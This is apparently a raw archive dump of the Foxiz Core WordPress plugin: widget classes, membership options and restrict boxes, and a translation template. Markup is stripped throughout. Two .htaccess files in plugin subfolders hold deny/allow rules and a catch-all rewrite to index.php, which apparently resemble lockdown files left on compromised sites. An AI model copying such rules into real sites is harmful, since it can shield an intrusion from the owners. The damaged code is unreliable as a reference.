light-scheme'; } ?>
>
params = array( 'template_id' => '', 'shortcode' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Ruby Template', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( 'Display a ruby template in widget sections.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'template_id' ), 'name' => $this->get_field_name( 'template_id' ), 'data' => 'template', 'title' => esc_html__( 'Select a Template', 'foxiz-core' ), 'description' => esc_html__( 'Select a Ruby template to display in this sidebar section.', 'foxiz-core' ), 'value' => $instance['template_id'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'shortcode' ), 'name' => $this->get_field_name( 'shortcode' ), 'title' => esc_html__( 'or Shortcode', 'foxiz-core' ), 'description' => esc_html__( 'Input a shortcode, this setting will override on the above setting.', 'foxiz-core' ), 'value' => $instance['shortcode'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); if ( ! empty( $instance['shortcode'] ) ) { echo do_shortcode( $instance['shortcode'] ); } elseif ( ! empty( $instance['template_id'] ) ) { echo do_shortcode( '[Ruby_E_Template id="' . $instance['template_id'] . '"]' ); } } } endif;widgets/sb-ad-image.php000064400000006677147206624460011024 0ustar00params = array( 'title' => esc_html__( '- Advertisement -', 'foxiz-core' ), 'destination' => '', 'image' => '', 'dark_image' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Ad Image', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display your custom ad image in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'destination' ), 'name' => $this->get_field_name( 'destination' ), 'title' => esc_html__( 'Destination URL', 'foxiz-core' ), 'value' => $instance['destination'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'image' ), 'name' => $this->get_field_name( 'image' ), 'title' => esc_html__( 'Ad Image URL', 'foxiz-core' ), 'description' => esc_html__( 'Input your advert image URL (attachment URL) for this widget.', 'foxiz-core' ), 'value' => $instance['image'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'dark_image' ), 'name' => $this->get_field_name( 'dark_image' ), 'title' => esc_html__( 'Dark Mode - Ad Image URL', 'foxiz-core' ), 'description' => esc_html__( 'Input your advert image URL (attachment URL) for this widget in the dark mode.', 'foxiz-core' ), 'value' => $instance['dark_image'] ) ); } function widget( $args, $instance ) { $instance['cache_id'] = $args['widget_id']; $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; $instance['id'] = $args['widget_id']; if ( ! empty( $instance['title'] ) ) : ?> params = array( 'title' => '', 'address_title' => '', 'address' => '', 'phone_title' => '', 'phone' => '', 'tel' => '', 'email' => '', 'additional_title' => '', 'additional' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Address', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display the address information in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'address_title' ), 'name' => $this->get_field_name( 'address_title' ), 'title' => esc_html__( 'Address Title', 'foxiz-core' ), 'value' => $instance['address_title'], ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'address' ), 'name' => $this->get_field_name( 'address' ), 'title' => esc_html__( 'Office Address', 'foxiz-core' ), 'value' => $instance['address'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'phone_title' ), 'name' => $this->get_field_name( 'phone_title' ), 'title' => esc_html__( 'Phone/Tel Label', 'foxiz-core' ), 'value' => $instance['phone_title'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'phone' ), 'name' => $this->get_field_name( 'phone' ), 'title' => esc_html__( 'Phone Number', 'foxiz-core' ), 'value' => $instance['phone'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'tel' ), 'name' => $this->get_field_name( 'tel' ), 'title' => esc_html__( 'Tel Number', 'foxiz-core' ), 'value' => $instance['tel'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'email' ), 'name' => $this->get_field_name( 'email' ), 'title' => esc_html__( 'Email Address', 'foxiz-core' ), 'value' => $instance['email'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'additional_title' ), 'name' => $this->get_field_name( 'additional_title' ), 'title' => esc_html__( 'Additional Label', 'foxiz-core' ), 'value' => $instance['additional_title'], ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'additional' ), 'name' => $this->get_field_name( 'additional' ), 'title' => esc_html__( 'Additional Info', 'foxiz-core' ), 'value' => $instance['additional'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . esc_html( $instance['title'] ) . $args['after_title']; } if ( ! empty( $instance['address_title'] ) || ! empty( $instance['address'] ) || ! empty( $instance['phone_title'] ) || ! empty( $instance['phone'] ) || ! empty( $instance['tel'] ) || ! empty( $instance['email'] ) || ! empty( $instance['additional'] ) ) : ?>
Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] membership/options.php000064400000016243147206624460011124 0ustar00 'foxiz_config_section_membership', 'title' => esc_html__( 'Membership', 'foxiz-core' ), 'desc' => esc_html__( 'Select options for the membership plugin.', 'foxiz-core' ), 'icon' => 'el el-group', 'fields' => array( array( 'id' => 'membership_info_warning', 'type' => 'info', 'desc' => esc_html__( 'Simple WordPress Membership Plugin is missing!', 'foxiz-core' ), 'style' => 'warning', ), array( 'id' => 'membership_install_warning', 'type' => 'info', 'style' => 'warning', 'desc' => html_entity_decode( esc_html__( 'Please install Simple WordPress Membership plugin to enable the theme features.', 'foxiz-core' ) ), ), ) ); } return array( 'id' => 'foxiz_config_section_membership', 'title' => esc_html__( 'Membership', 'foxiz-core' ), 'desc' => esc_html__( 'Select options for Simple WordPress Membership plugin.', 'foxiz-core' ), 'icon' => 'el el-group', 'fields' => array( array( 'id' => 'section_start_restrict_box', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Content Restrict for New Users', 'foxiz-core' ), 'indent' => true ), array( 'id' => 'restrict_title', 'type' => 'textarea', 'title' => esc_html__( 'Restrict Content Title', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input your restrict content title, allow raw HTML.', 'foxiz-core' ), 'default' => 'Unlimited digital access to all our Premium contents' ), array( 'id' => 'restrict_desc', 'type' => 'textarea', 'title' => esc_html__( 'Restrict Content Description', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input your restrict content description, allow raw HTML.', 'foxiz-core' ), 'default' => 'Plans starting at less than $9/month. Cancel anytime.' ), array( 'id' => 'join_us_label', 'type' => 'text', 'title' => esc_html__( 'Join US Button Label', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input a join us button label.', 'foxiz-core' ), 'default' => esc_html__( 'Get Digital All Access', 'foxiz-core' ) ), array( 'id' => 'login_desc', 'type' => 'textarea', 'title' => esc_html__( 'Login Description', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input your login description.', 'foxiz-core' ), 'default' => esc_html__( 'Already a subscriber?', 'foxiz-core' ) ), array( 'id' => 'login_label', 'type' => 'text', 'title' => esc_html__( 'Login Button Label', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input the login button label.', 'foxiz-core' ), 'default' => esc_html__( 'Sign In', 'foxiz-core' ), ), array( 'id' => 'section_end_restrict_box', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_restrict_level_box', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Content Restrict for Logged Users', 'foxiz-core' ), 'indent' => true ), array( 'id' => 'restrict_level_title', 'type' => 'textarea', 'title' => esc_html__( 'Upgrade Membership Title', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input your upgrade membership level title, allow raw HTML.', 'foxiz-core' ), 'default' => 'Upgrade Your Plan for even Greater benefits.' ), array( 'id' => 'restrict_level_desc', 'type' => 'textarea', 'title' => esc_html__( 'Upgrade Membership Description', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input your upgrade membership level description, allow raw HTML.', 'foxiz-core' ), 'default' => 'This content is not permitted for your membership level.' ), array( 'id' => 'section_end_restrict_level_box', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_restrict_renewal_box', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Content Restrict for Expired Users', 'foxiz-core' ), 'indent' => true ), array( 'id' => 'restrict_renewal_title', 'type' => 'textarea', 'title' => esc_html__( 'Renewal Membership Title', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input your renewal membership title, allow raw HTML.', 'foxiz-core' ), 'default' => 'Renew account to access Premium contents' ), array( 'id' => 'restrict_renewal_desc', 'type' => 'textarea', 'title' => esc_html__( 'Renewal Membership Description', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input your renewal membership description, allow raw HTML.', 'foxiz-core' ), 'default' => 'Your membership plan has expired.' ), array( 'id' => 'renewal_label', 'type' => 'text', 'title' => esc_html__( 'Renewal Button Label', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input a renewal button label.', 'foxiz-core' ), 'default' => esc_html__( 'Renewal Your MemberShip', 'foxiz-core' ), ), array( 'id' => 'section_end_restrict_renewal_box', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), array( 'id' => 'section_start_protected_title', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Exclusive Label', 'foxiz-core' ), 'indent' => true ), array( 'id' => 'exclusive_label', 'type' => 'text', 'title' => esc_html__( 'Member Only Label', 'foxiz-core' ), 'subtitle' => esc_html__( 'Input a Label for displaying before the post title listing.', 'foxiz-core' ), 'description' => esc_html__( 'Leave blank to disable the label.', 'foxiz-core' ), 'default' => 'EXCLUSIVE', ), array( 'id' => 'exclusive_style', 'type' => 'select', 'title' => esc_html__( 'Label Style', 'foxiz-core' ), 'subtitle' => esc_html__( 'Select a style for the member only label.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Background Color', 'foxiz' ), 'border' => esc_html__( 'Border', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_restrict_protected_title', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } }membership/membership.php000064400000011713147206624460011561 0ustar00get_value( 'login-page-url' ); $joinus_url = SwpmSettings::get_instance()->get_value( 'join-us-page-url' ); if ( empty( $login_url ) || empty( $joinus_url ) ) { return '

The login page or the join us page URL is missing in the settings configuration.

'; } $restrict_title = foxiz_get_option( 'restrict_title' ); $restrict_desc = foxiz_get_option( 'restrict_desc' ); $join_us_label = foxiz_get_option( 'join_us_label' ); $login_label = foxiz_get_option( 'login_label' ); $login_desc = foxiz_get_option( 'login_desc' ); $output = ''; $output .= '
'; $output .= '

' . wp_kses( $restrict_title, 'foxiz' ) . '

'; $output .= '

' . wp_kses( $restrict_desc, 'foxiz' ) . '

'; $output .= ''; $output .= ''; $output .= '
'; return $output; } /** * @param $error_msg * * @return string */ public function restrict_level_box( $error_msg ) { $joinus_url = SwpmSettings::get_instance()->get_value( 'join-us-page-url' ); if ( empty( $joinus_url ) ) { return '

The login page or the join us page URL is missing in the settings configuration.

'; } $restrict_title = foxiz_get_option( 'restrict_level_title' ); $restrict_desc = foxiz_get_option( 'restrict_level_desc' ); $join_us_label = foxiz_get_option( 'join_us_label' ); $output = ''; $output .= '
'; $output .= '

' . wp_kses( $restrict_title, 'foxiz' ) . '

'; $output .= '

' . wp_kses( $restrict_desc, 'foxiz' ) . '

'; $output .= ''; $output .= '
'; return $output; } /** * @param $error_msg * * @return string */ public function restrict_renewal_box( $error_msg ) { $renewal = SwpmSettings::get_instance()->get_value( 'renewal-page-url' );; if ( empty( $renewal ) ) { $renewal = SwpmSettings::get_instance()->get_value( 'join-us-page-url' ); } if ( empty( $renewal ) ) { return '

The renewal page or the URL is missing in the settings configuration.

'; } $restrict_title = foxiz_get_option( 'restrict_renewal_title' ); $restrict_desc = foxiz_get_option( 'restrict_renewal_desc' ); $renewal_label = foxiz_get_option( 'renewal_label' ); $output = ''; $output .= '
'; $output .= '

' . wp_kses( $restrict_title, 'foxiz' ) . '

'; $output .= '

' . wp_kses( $restrict_desc, 'foxiz' ) . '

'; $output .= ''; $output .= '
'; return $output; } /** * @param $classes * @param $post_id * * @return string */ public function add_classes( $classes, $post_id ) { $protected = SwpmProtection::get_instance(); if ( ! $protected->is_protected( $post_id ) ) { return $classes; } return $classes . ' is-p-protected'; } } } membership/.htaccess000064400000001626147206624460010515 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] languages/quick-foxiz-core.pot000064400000045651147206624460012463 0ustar00#, fuzzy msgid "" msgstr "" "Project-Id-Version: Foxiz Core\n" "POT-Creation-Date: 2022-05-18 13:29+0700\n" "PO-Revision-Date: 2017-07-16 09:08+0700\n" "Last-Translator: \n" "Language-Team: Theme-Ruby \n" "Language: en\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "X-Poedit-Basepath: ../../..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: foxiz_html__;foxiz_html_e;foxiz_attr__;" "foxiz_attr_e\n" "X-Poedit-SearchPath-0: plugins/foxiz-core\n" "X-Poedit-SearchPath-1: themes/foxiz\n" "X-Poedit-SearchPathExcluded-0: *.js\n" "X-Poedit-SearchPathExcluded-1: plugins/foxiz-core/lib\n" #: plugins/foxiz-core/includes/actions.php:184 #: themes/foxiz/templates/single/review-comment.php:87 msgid "Your Rating" msgstr "" #: plugins/foxiz-core/includes/extras.php:114 msgid "Confirmed" msgstr "" #: plugins/foxiz-core/includes/extras.php:115 msgid "Death" msgstr "" #: plugins/foxiz-core/includes/helpers.php:111 #: themes/foxiz/includes/fallbacks.php:165 msgid "M" msgstr "" #: plugins/foxiz-core/includes/helpers.php:113 #: themes/foxiz/includes/fallbacks.php:167 msgid "k" msgstr "" #: plugins/foxiz-core/includes/shares.php:44 #: plugins/foxiz-core/includes/widget.php:432 #: themes/foxiz/templates/parts.php:591 msgid "Facebook" msgstr "" #: plugins/foxiz-core/includes/shares.php:49 #: plugins/foxiz-core/includes/widget.php:451 #: themes/foxiz/templates/parts.php:594 msgid "Twitter" msgstr "" #: plugins/foxiz-core/includes/shares.php:59 #: plugins/foxiz-core/includes/widget.php:470 #: themes/foxiz/templates/parts.php:600 msgid "Pinterest" msgstr "" #: plugins/foxiz-core/includes/shares.php:63 #: plugins/foxiz-core/includes/shares.php:64 msgid "Whatsapp" msgstr "" #: plugins/foxiz-core/includes/shares.php:68 #: themes/foxiz/templates/parts.php:606 msgid "LinkedIn" msgstr "" #: plugins/foxiz-core/includes/shares.php:72 #: themes/foxiz/templates/parts.php:609 msgid "Tumblr" msgstr "" #: plugins/foxiz-core/includes/shares.php:76 #: themes/foxiz/templates/parts.php:639 msgid "Reddit" msgstr "" #: plugins/foxiz-core/includes/shares.php:80 msgid "VKontakte" msgstr "" #: plugins/foxiz-core/includes/shares.php:84 #: plugins/foxiz-core/includes/widget.php:546 #: themes/foxiz/templates/parts.php:645 msgid "Telegram" msgstr "" #: plugins/foxiz-core/includes/shares.php:88 #, php-format msgid "" "I found this article interesting and thought of sharing it with you. Check " "it out: %s" msgstr "" #: plugins/foxiz-core/includes/shares.php:89 msgid "Email" msgstr "" #: plugins/foxiz-core/includes/shares.php:92 msgid "Copied!" msgstr "" #: plugins/foxiz-core/includes/shares.php:92 msgid "Copy Link" msgstr "" #: plugins/foxiz-core/includes/shares.php:95 msgid "Print" msgstr "" #: plugins/foxiz-core/includes/shortcodes.php:79 #: themes/foxiz/templates/single/footer.php:50 msgid "You Might Also Like" msgstr "" #: plugins/foxiz-core/includes/widget.php:428 #: plugins/foxiz-core/includes/widget.php:447 #: plugins/foxiz-core/includes/widget.php:466 #: plugins/foxiz-core/includes/widget.php:485 #: plugins/foxiz-core/includes/widget.php:523 #: plugins/foxiz-core/includes/widget.php:561 #: plugins/foxiz-core/includes/widget.php:580 #: plugins/foxiz-core/widgets/sb-tweet.php:141 msgid "Followers" msgstr "" #: plugins/foxiz-core/includes/widget.php:430 #: plugins/foxiz-core/includes/widget.php:433 msgid "Like" msgstr "" #: plugins/foxiz-core/includes/widget.php:449 #: plugins/foxiz-core/includes/widget.php:452 #: plugins/foxiz-core/includes/widget.php:487 #: plugins/foxiz-core/includes/widget.php:490 #: plugins/foxiz-core/includes/widget.php:525 #: plugins/foxiz-core/includes/widget.php:528 #: plugins/foxiz-core/includes/widget.php:544 #: plugins/foxiz-core/includes/widget.php:547 #: plugins/foxiz-core/includes/widget.php:563 #: plugins/foxiz-core/includes/widget.php:566 #: plugins/foxiz-core/includes/widget.php:582 #: plugins/foxiz-core/includes/widget.php:585 #: themes/foxiz/templates/parts.php:802 msgid "Follow" msgstr "" #: plugins/foxiz-core/includes/widget.php:468 #: plugins/foxiz-core/includes/widget.php:471 msgid "Pin" msgstr "" #: plugins/foxiz-core/includes/widget.php:489 #: themes/foxiz/templates/parts.php:603 msgid "Instagram" msgstr "" #: plugins/foxiz-core/includes/widget.php:504 msgid "Subscribers" msgstr "" #: plugins/foxiz-core/includes/widget.php:506 #: plugins/foxiz-core/includes/widget.php:509 msgid "Subscribe" msgstr "" #: plugins/foxiz-core/includes/widget.php:508 msgid "Youtube" msgstr "" #: plugins/foxiz-core/includes/widget.php:527 #: themes/foxiz/templates/parts.php:633 msgid "SoundCloud" msgstr "" #: plugins/foxiz-core/includes/widget.php:542 msgid "Members" msgstr "" #: plugins/foxiz-core/includes/widget.php:565 #: themes/foxiz/templates/parts.php:636 msgid "Vimeo" msgstr "" #: plugins/foxiz-core/includes/widget.php:584 #: themes/foxiz/templates/parts.php:630 msgid "Dribbble" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:79 msgid "Love" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:84 msgid "Sad" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:89 msgid "Happy" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:94 msgid "Sleepy" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:99 msgid "Angry" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:104 msgid "Dead" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:109 msgid "Wink" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:114 msgid "Cry" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:119 msgid "Embarrass" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:124 msgid "Joy" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:129 msgid "Shy" msgstr "" #: plugins/foxiz-core/reaction/reaction.php:134 msgid "Surprise" msgstr "" #: plugins/foxiz-core/widgets/sb-tweet.php:135 msgid "Following" msgstr "" #: plugins/foxiz-core/widgets/sb-tweet.php:156 #: themes/foxiz/templates/entry.php:320 #, php-format msgid "%s ago" msgstr "" #: themes/foxiz/backend/panels/single-post.php:1134 #: themes/foxiz/templates/entry.php:1201 msgid "Sponsored by" msgstr "" #: themes/foxiz/bookmark/bookmark.php:57 msgid "Undo" msgstr "" #: themes/foxiz/bookmark/bookmark.php:174 msgid "This article has been added to reading list" msgstr "" #: themes/foxiz/bookmark/bookmark.php:190 msgid "This article was removed from reading list" msgstr "" #: themes/foxiz/bookmark/bookmark.php:209 msgid "This article was removed from your bookmark" msgstr "" #: themes/foxiz/bookmark/template-helpers.php:29 msgid "Save it" msgstr "" #: themes/foxiz/bookmark/template-helpers.php:30 #: themes/foxiz/templates/entry.php:286 msgid "Remove" msgstr "" #: themes/foxiz/bookmark/template-helpers.php:59 msgid "Sign In to Save" msgstr "" #: themes/foxiz/bookmark/templates.php:60 msgid "You haven't saved anything yet." msgstr "" #: themes/foxiz/bookmark/templates.php:61 #, php-format msgid "" "Start saving your interested articles by clicking the %s icon and you'll " "find them all here." msgstr "" #: themes/foxiz/comments.php:25 msgid "← Older Comments" msgstr "" #: themes/foxiz/comments.php:26 msgid "Newer Comments →" msgstr "" #: themes/foxiz/comments.php:32 msgid "Comments are closed." msgstr "" #: themes/foxiz/includes/actions.php:44 #: themes/foxiz/templates/single/review-comment.php:57 msgid "Your name" msgstr "" #: themes/foxiz/includes/actions.php:47 msgid "Your email" msgstr "" #: themes/foxiz/includes/actions.php:51 msgid "Your Website" msgstr "" #: themes/foxiz/includes/actions.php:55 #: themes/foxiz/templates/single/review-comment.php:97 #: themes/foxiz/templates/single/templates.php:906 msgid "Leave a comment" msgstr "" #: themes/foxiz/includes/menu.php:244 themes/foxiz/includes/menu.php:297 #: themes/foxiz/templates/header/templates.php:701 #: themes/foxiz/templates/parts.php:326 msgid "Show More" msgstr "" #: themes/foxiz/includes/menu.php:302 msgid "Top News" msgstr "" #: themes/foxiz/includes/menu.php:325 #: themes/foxiz/templates/header/templates.php:727 msgid "Latest News" msgstr "" #: themes/foxiz/searchform.php:9 themes/foxiz/templates/parts.php:480 msgid "Search Headlines, News..." msgstr "" #: themes/foxiz/searchform.php:14 msgid "Search for:" msgstr "" #: themes/foxiz/searchform.php:18 #: themes/foxiz/templates/header/templates.php:345 #: themes/foxiz/templates/parts.php:477 msgid "Search" msgstr "" #: themes/foxiz/templates/ajax.php:128 msgid "You've reached the end of the list!" msgstr "" #: themes/foxiz/templates/ajax.php:186 msgid "More Results" msgstr "" #: themes/foxiz/templates/ajax.php:188 themes/foxiz/templates/blog.php:520 msgid "" "Sorry, but nothing matched your search terms. Please try again with some " "different keywords." msgstr "" #: themes/foxiz/templates/blocks/playlist.php:52 msgid "Now Playing" msgstr "" #: themes/foxiz/templates/blog.php:13 msgid "Nothing Found" msgstr "" #: themes/foxiz/templates/blog.php:17 #, php-format msgid "" "Ready to publish your first post? Get started here." msgstr "" #: themes/foxiz/templates/blog.php:19 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "" #: themes/foxiz/templates/blog.php:22 msgid "Return to Home" msgstr "" #: themes/foxiz/templates/blog.php:94 msgid "Find More:" msgstr "" #: themes/foxiz/templates/blog.php:232 #, php-format msgid "Search Results for: %s" msgstr "" #: themes/foxiz/templates/blog.php:233 #, php-format msgid "Showing %s results for your search" msgstr "" #: themes/foxiz/templates/blog.php:465 themes/foxiz/templates/entry.php:1171 msgid "Follow: " msgstr "" #: themes/foxiz/templates/blog.php:476 #: themes/foxiz/templates/modules/category.php:74 #: themes/foxiz/templates/modules/category.php:134 #: themes/foxiz/templates/modules/category.php:197 #: themes/foxiz/templates/modules/category.php:270 #: themes/foxiz/templates/modules/category.php:337 msgid "Article" msgstr "" #: themes/foxiz/templates/blog.php:478 #: themes/foxiz/templates/modules/category.php:72 #: themes/foxiz/templates/modules/category.php:132 #: themes/foxiz/templates/modules/category.php:195 #: themes/foxiz/templates/modules/category.php:268 #: themes/foxiz/templates/modules/category.php:335 msgid "Articles" msgstr "" #: themes/foxiz/templates/blog.php:494 msgid "Oops! Nothing here" msgstr "" #: themes/foxiz/templates/blog.php:501 msgid "" "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "" #: themes/foxiz/templates/blog.php:505 themes/foxiz/templates/page.php:145 msgid "Return to Homepage" msgstr "" #: themes/foxiz/templates/entry.php:367 themes/foxiz/templates/entry.php:401 msgid "Posted" msgstr "" #: themes/foxiz/templates/entry.php:553 msgid "Add a Comment" msgstr "" #: themes/foxiz/templates/entry.php:555 msgid "1 comment" msgstr "" #: themes/foxiz/templates/entry.php:557 #, php-format msgid "%s comments" msgstr "" #: themes/foxiz/templates/entry.php:617 msgid "1 View" msgstr "" #: themes/foxiz/templates/entry.php:619 #, php-format msgid "%s Views" msgstr "" #: themes/foxiz/templates/entry.php:651 msgid "Ago" msgstr "" #: themes/foxiz/templates/entry.php:692 #, php-format msgid "%s Min Read" msgstr "" #: themes/foxiz/templates/entry.php:1087 msgid "out of 10" msgstr "" #: themes/foxiz/templates/entry.php:1090 msgid "out of 5" msgstr "" #: themes/foxiz/templates/entry.php:1159 msgid "Posted by" msgstr "" #: themes/foxiz/templates/footer.php:212 #: themes/foxiz/templates/header/templates.php:621 msgid "Follow US" msgstr "" #: themes/foxiz/templates/header/templates.php:289 msgid "Hi," msgstr "" #: themes/foxiz/templates/header/templates.php:310 msgid "Sign Out" msgstr "" #: themes/foxiz/templates/header/templates.php:315 #: themes/foxiz/templates/header/templates.php:317 #: themes/foxiz/templates/header/templates.php:616 msgid "Sign In" msgstr "" #: themes/foxiz/templates/header/templates.php:349 #: themes/foxiz/templates/parts.php:485 msgid "search" msgstr "" #: themes/foxiz/templates/header/templates.php:421 msgid "More" msgstr "" #: themes/foxiz/templates/header/templates.php:615 msgid "Have an existing account?" msgstr "" #: themes/foxiz/templates/header/templates.php:666 msgid "Switch to Light" msgstr "" #: themes/foxiz/templates/header/templates.php:667 msgid "Switch to Dark" msgstr "" #: themes/foxiz/templates/header/templates.php:694 #: themes/foxiz/templates/header/templates.php:699 msgid "Notification" msgstr "" #: themes/foxiz/templates/header/templates.php:710 msgid "Reading List" msgstr "" #: themes/foxiz/templates/header/templates.php:758 msgid "Resizer" msgstr "" #: themes/foxiz/templates/header/templates.php:758 msgid "Aa" msgstr "" #: themes/foxiz/templates/header/templates.php:905 msgid "View Cart" msgstr "" #: themes/foxiz/templates/page.php:121 msgid "Something's wrong here..." msgstr "" #: themes/foxiz/templates/page.php:124 msgid "" "It looks like nothing was found at this location. The page you were " "looking for does not exist or was loading incorrectly." msgstr "" #: themes/foxiz/templates/parts.php:348 msgid "Previous" msgstr "" #: themes/foxiz/templates/parts.php:349 msgid "Next" msgstr "" #: themes/foxiz/templates/parts.php:395 msgid "Newer Articles" msgstr "" #: themes/foxiz/templates/parts.php:398 msgid "Older Articles" msgstr "" #: themes/foxiz/templates/parts.php:474 msgid "Search and hit enter..." msgstr "" #: themes/foxiz/templates/parts.php:588 msgid "Website" msgstr "" #: themes/foxiz/templates/parts.php:597 msgid "YouTube" msgstr "" #: themes/foxiz/templates/parts.php:612 msgid "Flickr" msgstr "" #: themes/foxiz/templates/parts.php:615 msgid "Skype" msgstr "" #: themes/foxiz/templates/parts.php:618 msgid "SnapChat" msgstr "" #: themes/foxiz/templates/parts.php:621 msgid "Myspace" msgstr "" #: themes/foxiz/templates/parts.php:624 msgid "Bloglovin" msgstr "" #: themes/foxiz/templates/parts.php:627 msgid "Digg" msgstr "" #: themes/foxiz/templates/parts.php:642 msgid "Vkontakte" msgstr "" #: themes/foxiz/templates/parts.php:648 msgid "WhatsApp" msgstr "" #: themes/foxiz/templates/parts.php:651 msgid "Rss" msgstr "" #: themes/foxiz/templates/parts.php:803 msgid "Unfollow" msgstr "" #: themes/foxiz/templates/parts.php:825 msgid "Sign In to Follow" msgstr "" #: themes/foxiz/templates/popup.php:27 msgid "Accept" msgstr "" #: themes/foxiz/templates/popup.php:206 msgid "Register" msgstr "" #: themes/foxiz/templates/popup.php:208 msgid "Lost your password?" msgstr "" #: themes/foxiz/templates/popup.php:242 msgid "Okay, I'll Whitelist" msgstr "" #: themes/foxiz/templates/single/next-posts.php:43 msgid "Continue Reading" msgstr "" #: themes/foxiz/templates/single/review-comment.php:36 msgid "Older Reviews" msgstr "" #: themes/foxiz/templates/single/review-comment.php:37 msgid "Newer Reviews" msgstr "" #: themes/foxiz/templates/single/review-comment.php:43 msgid "Review Closed!" msgstr "" #: themes/foxiz/templates/single/review-comment.php:49 #: themes/foxiz/templates/single/templates.php:883 msgid "Leave a review" msgstr "" #: themes/foxiz/templates/single/review-comment.php:50 msgid "Leave a reply" msgstr "" #: themes/foxiz/templates/single/review-comment.php:51 